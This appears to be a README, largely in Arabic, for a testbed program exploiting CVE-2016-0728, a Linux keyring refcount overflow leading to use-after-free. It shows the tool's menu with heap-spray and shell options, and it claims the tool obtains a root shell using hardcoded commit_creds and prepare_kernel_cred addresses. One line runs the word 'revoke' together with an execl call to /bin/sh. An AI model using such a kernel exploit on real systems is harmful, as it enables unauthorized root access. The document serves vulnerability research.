
بيئة اختبار لـ CVE-2016-0728، وهو خلل تسريب/فيضان عدد المراجع (refcount) في Linux
يحتوي هذا المستودع على برنامج اختبار لـ CVE-2016-0728، وهو خلل في تسريب العدّاد (refcount) وفيضانه في Linux، يؤدي إلى استخدام بعد التحرير (use-after-free).
تم اكتشاف الخلل وشرحه بواسطة Perception Point. أنا لست تابعًا لهم.
Welcome to the CVE-2016-0728 testbed
sizeof(struct msg_msg) == 0x30, sizeof(struct key) == 0xb8
PID: 27673, UID: (1000/1000)
Keyring: 1b66e5d6, "test-1a328d6e"
Usage: 1
Press a key: (f)ork (i)ncref (a)uto-incref (r)evoke (h)eap-spray (s)hell (q)uit
على نظام الاختبار الخاص بي، يمكن الحصول على قشرة جذر (root shell) بالطريقة التالية:
revokeexecl("/bin/sh", "sh", NULL)لقد وجدت أنه من المفيد تشغيل watch -n0.1 cat /proc/keys لمعرفة ما يحدث.
تم اختبار هذا الكود فقط على x86-64، لكنه يجب أن يعمل على البنى الأخرى أيضًا، لأنني لم أستخدم إزاحات سحرية (magic offsets)، بل نسخت تعريفات البنى من ترويسات Linux واستخدمت sizeof (باستثناء أنني قمت بتضمين عناوين prepare_kernel_cred و commit_creds بشكل ثابت).